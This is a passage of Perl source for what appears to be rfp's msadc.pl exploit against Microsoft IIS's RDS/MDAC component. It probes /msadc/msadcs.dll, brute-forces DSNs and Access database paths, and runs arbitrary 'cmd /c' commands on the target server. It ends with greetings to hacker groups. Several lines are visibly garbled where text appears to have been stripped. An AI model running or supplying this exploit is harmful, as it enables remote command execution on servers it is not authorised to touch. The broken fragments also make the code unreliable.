(@in)=@_; my $base; my $base = content_start(@in); if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; return $in[$base+4].$in[$base+5].$in[$base+6];} print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ############################################################################## sub verbose { my ($in)=@_; return if !$verbose; print STDOUT "\n$in\n";} ############################################################################## sub save { my ($p1)=@_; my $ropt=""; open(OUT, ">rds.save") || print "Problem saving parameters...\n"; if (defined $args{c}){ $ropt="c ";} if (defined $args{V}){ $ropt.="V ";} if (defined $args{w}){ $ropt.="w ";} print OUT "v2\n$ip\n$ropt\n$p1\n"; close OUT;} ############################################################################## sub load { my ($action)=@_; my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)};"; open(IN,"; close(IN); die("Wrong rds.save version") if $p[0] ne "v2\n"; $ip="$p[1]"; $ip=~s/\n//g; $target= inet_aton($ip) || die("inet_aton problems"); print "Resuming to $ip ..."; @switches=split(/ /,$p[2]); foreach $switch (@switches) { $args{$switch}="1";} if (defined $args{w}){$comm="command /c";} else {$comm="cmd /c";} print "Type the command line you want to run ($comm assumed):\n" . "$comm "; $in=; chomp $in; $command="$comm " . $in ; $torun="$p[3]"; $torun=~s/\n//g; if($torun=~/btcustmr/){ $args{'c'}="1";} # this is a kludge to make it work if($torun=~/^dbq/){ $torun=$drvst.$torun; } if(run_query("$torun")){ print "Success!\n";} else { print "failed\n"; } exit;} ############################################################################## sub create_table { return 1 if (!defined $args{c}); return 1 if (defined $args{V}); my ($in)=@_; $reqlen=length( make_req(2,$in,"") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(2,$in,"")); return 1 if rdo_success(@results); my $temp= odbc_error(@results); verbose($temp); return 1 if $temp=~/Table 'AZZ' already exists/; return 0;} ############################################################################## sub known_dsn { foreach $dSn (@dsns) { print "."; next if (!is_access("DSN=$dSn")); if(create_table("DSN=$dSn")){ if(run_query("DSN=$dSn")){ print "$dSn: Success!\n"; save ("dsn=$dSn"); exit; }}} print "\n";} ############################################################################## sub is_access { my ($in)=@_; return 1 if (!defined $args{c}); return 1 if (defined $args{V}); $reqlen=length( make_req(5,$in,"") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(5,$in,"")); my $temp= odbc_error(@results); verbose($temp); return 1 if ($temp=~/Microsoft Access/); return 0;} ############################################################################## sub run_query { my ($in)=@_; my $req; if (defined $args{c}){$req=3;} else {$req=6;} $reqlen=length( make_req($req,$in,"") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req($req,$in,"")); return 1 if rdo_success(@results); my $temp= odbc_error(@results); verbose($temp); return 0;} ############################################################################## sub known_mdb { my @drives=("c","d","e","f","g"); my @dirs=("winnt","winnt35","winnt351","win","windows"); my $dir, $drive, $mdb; my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; foreach $drive (@drives) { foreach $dir (@sysdirs){ foreach $mdb (@sysmdbs) { print "."; if(create_table($drv.$drive.":\\".$dir.$mdb)){ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ print "$mdb: Success!\n"; save ("dbq=".$drive .":\\".$dir.$mdb); exit; }}}}} foreach $drive (@drives) { foreach $mdb (@mdbs) { print "."; if(create_table($drv.$drive.":".$mdb)){ if(run_query($drv.$drive.":".$mdb)){ print "$mdb: Success!\n"; save ("dbq=".$drive.":".$mdb); exit; }}}} } ############################################################################## sub hork_idx { print "\nAttempting to dump Index Server tables...\n"; print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; $reqlen=length( make_req(4,"","") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(4,"","")); if (rdo_success(@results)){ my $max=@results; my $c; my %d; for($c=19; $c<$max; $c++){ $results[$c]=~s/\x00//g; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; $d{"$1$2"}="";} foreach $c (keys %d){ print "$c\n"; } } else {print "Index server not installed/query failed\n"; }} ############################################################################## sub dsn_dict { open(IN, "<$args{e}") || die("Can't open external dictionary\n"); while(){ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; next if (!is_access("DSN=$dSn")); if(create_table("DSN=$dSn")){ if(run_query("DSN=$dSn")){ print "Success!\n"; save ("dsn=$dSn"); exit; }}} print "\n"; close(IN);} ############################################################################## sub content_start { # this will take in the server headers my (@in)=@_; my $c; for ($c=1;$c<500;$c++) { # assume there's less than 500 headers if($in[$c] =~/^\x0d\x0a/){ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } else { return $c+1; }}} return -1;} # it should never get here actually ############################################################################## sub funky { my (@in)=@_; my $error=odbc_error(@in); if($error=~/ADO could not find the specified provider/){ print "\nServer returned an ADO miscofiguration message\nAborting.\n"; exit;} if($error=~/A Handler is required/){ print "\nServer has custom handler filters (they most likely are patched)\n"; exit;} if($error=~/specified Handler has denied Access/){ print "\nADO handlers denied access (they most likely are patched)\n"; exit;} if($error=~/server has denied access/){ print "\nADO handlers denied access (they most likely are patched)\n"; exit;}} ############################################################################## sub has_msadc { my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); my $base=content_start(@results); return if($results[$base]=~/Content-Type: application\/x-varg/); my @s=grep("Server: ",@results); if($s[0]!~/IIS/){ print "Doh! They're not running IIS.\n$s[0]\n" } else { print "/msadc/msadcs.dll was not found.\n";} exit;} ############################################################################## sub use_unc { $uncpath=$args{u}; $driverline="driver={Microsoft Access Driver (*.mdb)};dbq="; if(!$uncpath=~/^\\\\[a-zA-Z0-9_.]+\\[-a-zA-Z0-9_]+\\.+/){ print "Your UNC path sucks. You need the following format:\n". "\\server(ip preferable)\share\some-file.mdb\n\n"; exit; } if(create_table($driverline.$uncpath)){ if(run_query($driverline.$uncpath)){ print "Success!\n"; save ("dbq=".$uncpath); exit;}} } ############################################################################## sub get_name { # this was added last minute my $msadc=<.,?]//g; print "Machine name: $results[$base+6]\n";} ############################################################################## # special greets to trambottic, hex_edit, vacuum (technotronic), all #!adm, # #!w00w00 & #rhino9 (that's a lot of people, and they are all very elite and # good friends!), wiretrip, l0pht, nmrc & all of phrack # # thumbs up to packetstorm, hackernews, phrack, securityfocus, ntsecadvice # # I wish I could really name everyone, but I can't. Don't feel slighted if # your not on the list... :) ##############################################################################